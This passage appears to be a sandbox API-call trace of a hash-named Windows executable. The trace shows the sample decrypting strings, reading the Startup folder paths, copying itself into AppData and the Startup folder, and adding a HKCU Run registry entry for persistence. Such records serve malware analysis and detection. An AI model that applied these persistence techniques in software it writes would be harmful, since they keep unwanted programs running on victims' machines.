(hKey=0x735430, dwParam=0x1, pbData=0x2ff9b0, dwFlags=0x0) returned 1 [0036.476] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01580, pdwDataLen=0x2ff97c | out: pbData=0xb01580, pdwDataLen=0x2ff97c) returned 1 [0036.476] CryptDestroyKey (hKey=0x735430) returned 1 [0036.477] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01580 | out: hHeap=0xb00000) returned 1 [0036.477] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xb01530, nSize=0xf | out: lpDst="") returned 0x21 [0036.477] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01558 | out: hHeap=0xb00000) returned 1 [0036.477] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb01530, Size=0x3a) returned 0xb01530 [0036.477] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x3a) returned 0xb01578 [0036.477] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb015c0 [0036.478] CryptImportKey (in: hProv=0x735018, pbData=0x2ff95c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c4 | out: phKey=0x2ff9c4*=0x735430) returned 1 [0036.478] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9ac, dwFlags=0x0) returned 1 [0036.478] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb015c0, pdwDataLen=0x2ff978 | out: pbData=0xb015c0, pdwDataLen=0x2ff978) returned 1 [0036.478] CryptDestroyKey (hKey=0x735430) returned 1 [0036.478] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb015c0 | out: hHeap=0xb00000) returned 1 [0036.478] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xb01530, nSize=0x1d | out: lpDst="") returned 0x21 [0036.478] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01578 | out: hHeap=0xb00000) returned 1 [0036.478] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb01530, Size=0x72) returned 0xb01530 [0036.479] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x72) returned 0xb015b0 [0036.479] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01630 [0036.479] CryptImportKey (in: hProv=0x735018, pbData=0x2ff95c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c4 | out: phKey=0x2ff9c4*=0x735430) returned 1 [0036.479] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9ac, dwFlags=0x0) returned 1 [0036.479] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01630, pdwDataLen=0x2ff978 | out: pbData=0xb01630, pdwDataLen=0x2ff978) returned 1 [0036.479] CryptDestroyKey (hKey=0x735430) returned 1 [0036.479] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01630 | out: hHeap=0xb00000) returned 1 [0036.479] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xb01530, nSize=0x39 | out: lpDst="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x21 [0036.480] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb015b0 | out: hHeap=0xb00000) returned 1 [0036.480] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01508 | out: hHeap=0xb00000) returned 1 [0036.480] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb015b0 [0036.480] CryptImportKey (in: hProv=0x735018, pbData=0x2ff984*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9ec | out: phKey=0x2ff9ec*=0x735430) returned 1 [0036.480] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9d4, dwFlags=0x0) returned 1 [0036.480] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb015b0, pdwDataLen=0x2ff9a0 | out: pbData=0xb015b0, pdwDataLen=0x2ff9a0) returned 1 [0036.480] CryptDestroyKey (hKey=0x735430) returned 1 [0036.480] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x3e) returned 0xb015f8 [0036.480] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x3e) returned 0xb01640 [0036.480] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01688 [0036.480] CryptImportKey (in: hProv=0x735018, pbData=0x2ff95c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c4 | out: phKey=0x2ff9c4*=0x735430) returned 1 [0036.480] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9ac, dwFlags=0x0) returned 1 [0036.480] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01688, pdwDataLen=0x2ff978 | out: pbData=0xb01688, pdwDataLen=0x2ff978) returned 1 [0036.480] CryptDestroyKey (hKey=0x735430) returned 1 [0036.480] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x10) returned 0xb01508 [0036.480] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2ff940 | out: phkResult=0x2ff940*=0x98) returned 0x0 [0036.480] RegQueryValueExW (in: hKey=0x98, lpValueName="Startup", lpReserved=0x0, lpType=0x2ff93c, lpData=0xb01640, lpcbData=0x2ff944*=0x3e | out: lpType=0x2ff93c*=0x2, lpData=0xb01640*=0xa0, lpcbData=0x2ff944*=0x98) returned 0xea [0036.480] RegCloseKey (hKey=0x98) returned 0x0 [0036.480] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01508 | out: hHeap=0xb00000) returned 1 [0036.481] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01688 | out: hHeap=0xb00000) returned 1 [0036.481] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01640 | out: hHeap=0xb00000) returned 1 [0036.481] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb015f8, Size=0x7a) returned 0xb015f8 [0036.481] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x7a) returned 0xb01680 [0036.481] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01708 [0036.481] CryptImportKey (in: hProv=0x735018, pbData=0x2ff958*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c0 | out: phKey=0x2ff9c0*=0x735430) returned 1 [0036.481] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9a8, dwFlags=0x0) returned 1 [0036.481] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01708, pdwDataLen=0x2ff974 | out: pbData=0xb01708, pdwDataLen=0x2ff974) returned 1 [0036.481] CryptDestroyKey (hKey=0x735430) returned 1 [0036.481] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x10) returned 0xb017a0 [0036.481] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2ff93c | out: phkResult=0x2ff93c*=0x98) returned 0x0 [0036.481] RegQueryValueExW (in: hKey=0x98, lpValueName="Startup", lpReserved=0x0, lpType=0x2ff938, lpData=0xb01680, lpcbData=0x2ff940*=0x7a | out: lpType=0x2ff938*=0x2, lpData=0xb01680*=0xa0, lpcbData=0x2ff940*=0x98) returned 0xea [0036.481] RegCloseKey (hKey=0x98) returned 0x0 [0036.481] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb017a0 | out: hHeap=0xb00000) returned 1 [0036.482] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01708 | out: hHeap=0xb00000) returned 1 [0036.482] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01680 | out: hHeap=0xb00000) returned 1 [0036.482] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb015f8, Size=0xf2) returned 0xb015f8 [0036.482] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0xf2) returned 0xb04fa0 [0036.482] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb016f8 [0036.482] CryptImportKey (in: hProv=0x735018, pbData=0x2ff958*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c0 | out: phKey=0x2ff9c0*=0x735430) returned 1 [0036.482] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9a8, dwFlags=0x0) returned 1 [0036.482] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb016f8, pdwDataLen=0x2ff974 | out: pbData=0xb016f8, pdwDataLen=0x2ff974) returned 1 [0036.482] CryptDestroyKey (hKey=0x735430) returned 1 [0036.482] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x10) returned 0xb01508 [0036.482] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2ff93c | out: phkResult=0x2ff93c*=0x98) returned 0x0 [0036.482] RegQueryValueExW (in: hKey=0x98, lpValueName="Startup", lpReserved=0x0, lpType=0x2ff938, lpData=0xb04fa0, lpcbData=0x2ff940*=0xf2 | out: lpType=0x2ff938*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x2ff940*=0x98) returned 0x0 [0036.482] RegCloseKey (hKey=0x98) returned 0x0 [0036.482] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01508 | out: hHeap=0xb00000) returned 1 [0036.482] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb01508 [0036.483] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2ff93c | out: phkResult=0x2ff93c*=0x98) returned 0x0 [0036.483] RegQueryValueExW (in: hKey=0x98, lpValueName="Common Startup", lpReserved=0x0, lpType=0x2ff938, lpData=0xb05038, lpcbData=0x2ff940*=0x5a | out: lpType=0x2ff938*=0x0, lpData=0xb05038*=0x0, lpcbData=0x2ff940*=0x5a) returned 0x2 [0036.483] RegCloseKey (hKey=0x98) returned 0x0 [0036.483] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2ff950 | out: phkResult=0x2ff950*=0x98) returned 0x0 [0036.483] RegQueryValueExW (in: hKey=0x98, lpValueName="Common Startup", lpReserved=0x0, lpType=0x2ff94c, lpData=0xb05038, lpcbData=0x2ff954*=0x5a | out: lpType=0x2ff94c*=0x2, lpData=0xb05038*=0x0, lpcbData=0x2ff954*=0x78) returned 0xea [0036.483] RegCloseKey (hKey=0x98) returned 0x0 [0036.483] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01508 | out: hHeap=0xb00000) returned 1 [0036.483] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb016f8 | out: hHeap=0xb00000) returned 1 [0036.483] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb04fa0 | out: hHeap=0xb00000) returned 1 [0036.484] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb015f8, Size=0x1e2) returned 0xb04fa0 [0036.484] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e2) returned 0xb05190 [0036.484] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb015f8 [0036.484] CryptImportKey (in: hProv=0x735018, pbData=0x2ff958*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c0 | out: phKey=0x2ff9c0*=0x735430) returned 1 [0036.484] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9a8, dwFlags=0x0) returned 1 [0036.484] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb015f8, pdwDataLen=0x2ff974 | out: pbData=0xb015f8, pdwDataLen=0x2ff974) returned 1 [0036.484] CryptDestroyKey (hKey=0x735430) returned 1 [0036.484] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x10) returned 0xb01508 [0036.484] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2ff93c | out: phkResult=0x2ff93c*=0x98) returned 0x0 [0036.484] RegQueryValueExW (in: hKey=0x98, lpValueName="Startup", lpReserved=0x0, lpType=0x2ff938, lpData=0xb05190, lpcbData=0x2ff940*=0x1e2 | out: lpType=0x2ff938*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x2ff940*=0x98) returned 0x0 [0036.484] RegCloseKey (hKey=0x98) returned 0x0 [0036.484] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01508 | out: hHeap=0xb00000) returned 1 [0036.484] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb01508 [0036.484] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2ff93c | out: phkResult=0x2ff93c*=0x98) returned 0x0 [0036.484] RegQueryValueExW (in: hKey=0x98, lpValueName="Common Startup", lpReserved=0x0, lpType=0x2ff938, lpData=0xb05228, lpcbData=0x2ff940*=0x14a | out: lpType=0x2ff938*=0x0, lpData=0xb05228*=0x0, lpcbData=0x2ff940*=0x14a) returned 0x2 [0036.484] RegCloseKey (hKey=0x98) returned 0x0 [0036.484] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2ff950 | out: phkResult=0x2ff950*=0x98) returned 0x0 [0036.484] RegQueryValueExW (in: hKey=0x98, lpValueName="Common Startup", lpReserved=0x0, lpType=0x2ff94c, lpData=0xb05228, lpcbData=0x2ff954*=0x14a | out: lpType=0x2ff94c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x2ff954*=0x78) returned 0x0 [0036.484] RegCloseKey (hKey=0x98) returned 0x0 [0036.485] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01508 | out: hHeap=0xb00000) returned 1 [0036.485] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb015f8 | out: hHeap=0xb00000) returned 1 [0036.485] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xb04fa0, nSize=0xf1 | out: lpDst="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8e [0036.485] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05190 | out: hHeap=0xb00000) returned 1 [0036.485] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb015b0 | out: hHeap=0xb00000) returned 1 [0036.485] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0xb05190 [0036.485] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0xb053a8 [0036.485] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0xb055c0 [0036.485] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0xb057d8 [0036.485] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb05190, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0036.486] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0xb059f0 [0036.486] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb059f0, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0036.486] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb059f0 | out: hHeap=0xb00000) returned 1 [0036.486] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0xb059f0 [0036.486] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb059f0, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0036.487] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb059f0 | out: hHeap=0xb00000) returned 1 [0036.487] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), bFailIfExists=0) returned 1 [0036.496] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x2ffa54 | out: phkResult=0x2ffa54*=0x0) returned 0x5 [0036.497] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x2ffa40 | out: phkResult=0x2ffa40*=0x9c) returned 0x0 [0036.497] RegSetValueExW (in: hKey=0x9c, lpValueName="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", cbData=0xca | out: lpData="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") returned 0x0 [0036.497] RegCloseKey (hKey=0x9c) returned 0x0 [0036.497] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x11e) returned 0xb015b0 [0036.497] GetLastError () returned 0x0 [0036.497] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), lpNewFileName="c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), bFailIfExists=1) returned 1 [0036.505] CopyFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe"), bFailIfExists=1) returned 0 [0036.506] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb015b0 | out: hHeap=0xb00000) returned 1 [0036.506] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05190 | out: hHeap=0xb00000) returned 1 [0036.507] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb053a8 | out: hHeap=0xb00000) returned 1 [0036.507] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb055c0 | out: hHeap=0xb00000) returned 1 [0036.508] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb057d8 | out: hHeap=0xb00000) returned 1 [0036.508] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014a0 | out: hHeap=0xb00000) returned 1 [0036.508] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01530 | out: hHeap=0xb00000) returned 1 [0036.509] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb04fa0 | out: hHeap=0xb00000) returned 1 [0036.509] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb014a0 [0036.509] CryptImportKey (in: hProv=0x735018, pbData=0x2ff9b8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ffa20 | out: phKey=0x2ffa20*=0x735430) returned 1 [0036.509] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ffa08, dwFlags=0x0) returned 1 [0036.509] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014a0, pdwDataLen=0x2ff9d4 | out: pbData=0xb014a0, pdwDataLen=0x2ff9d4) returned 1 [0036.509] CryptDestroyKey (hKey=0x735430) returned 1 [0036.509] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb014c8 [0036.509] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb014f0 [0036.509] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01518 [0036.509] CryptImportKey (in: hProv=0x735018, pbData=0x2ff990*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9f8 | out: phKey=0x2ff9f8*=0x735430) returned 1 [0036.509] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9e0, dwFlags=0x0) returned 1 [0036.509] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01518, pdwDataLen=0x2ff9ac | out: pbData=0xb01518, pdwDataLen=0x2ff9ac) returned 1 [0036.509] CryptDestroyKey (hKey=0x735430) returned 1 [0036.510] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01518 | out: hHeap=0xb00000) returned 1 [0036.510] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb014c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.510] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014f0 | out: hHeap=0xb00000) returned 1 [0036.510] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014a0 | out: hHeap=0xb00000) returned 1 [0036.510] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2ffa60, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2ffa60*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.510] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014c8 | out: hHeap=0xb00000) returned 1 [0036.510] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x28) returned 0xb014a0 [0036.510] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb014d0 [0036.510] CryptImportKey (in: hProv=0x735018, pbData=0x2ff99c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ffa04 | out: phKey=0x2ffa04*=0x735430) returned 1 [0036.510] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9ec, dwFlags=0x0) returned 1 [0036.510] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014d0, pdwDataLen=0x2ff9b8 | out: pbData=0xb014d0, pdwDataLen=0x2ff9b8) returned 1 [0036.510] CryptDestroyKey (hKey=0x735430) returned 1 [0036.510] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x60) returned 0xb014e8 [0036.511] CryptImportKey (in: hProv=0x735018, pbData=0x2ff994*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9fc | out: phKey=0x2ff9fc*=0x735430) returned 1 [0036.511] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9e4, dwFlags=0x0) returned 1 [0036.511] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014e8, pdwDataLen=0x2ff9b0 | out: pbData=0xb014e8, pdwDataLen=0x2ff9b0) returned 1 [0036.511] CryptDestroyKey (hKey=0x735430) returned 1 [0036.511] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x5c) returned 0xb01550 [0036.511] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb01550, Size=0xb6) returned 0xb01550 [0036.511] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb01610 [0036.511] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0xb40) returned 0xb04fa0 [0036.511] CryptImportKey (in: hProv=0x735018, pbData=0x2ff964*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9cc | out: phKey=0x2ff9cc*=0x735430) returned 1 [0036.511] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9b4, dwFlags=0x0) returned 1 [0036.511] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb04fa0, pdwDataLen=0x2ff980 | out: pbData=0xb04fa0, pdwDataLen=0x2ff980) returned 1 [0036.511] CryptDestroyKey (hKey=0x735430) returned 1 [0036.511] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x250) returned 0xb05ae8 [0036.511] CryptImportKey (in: hProv=0x735018, pbData=0x2ff95c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c4 | out: phKey=0x2ff9c4*=0x735430) returned 1 [0036.511] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9ac, dwFlags=0x0) returned 1 [0036.511] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05ae8, pdwDataLen=0x2ff978 | out: pbData=0xb05ae8, pdwDataLen=0x2ff978) returned 1 [0036.511] CryptDestroyKey (hKey=0x735430) returned 1 [0036.511] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01628 [0036.511] CryptImportKey (in: hProv=0x735018, pbData=0x2ff934*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff99c | out: phKey=0x2ff99c*=0x735430) returned 1 [0036.511] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, 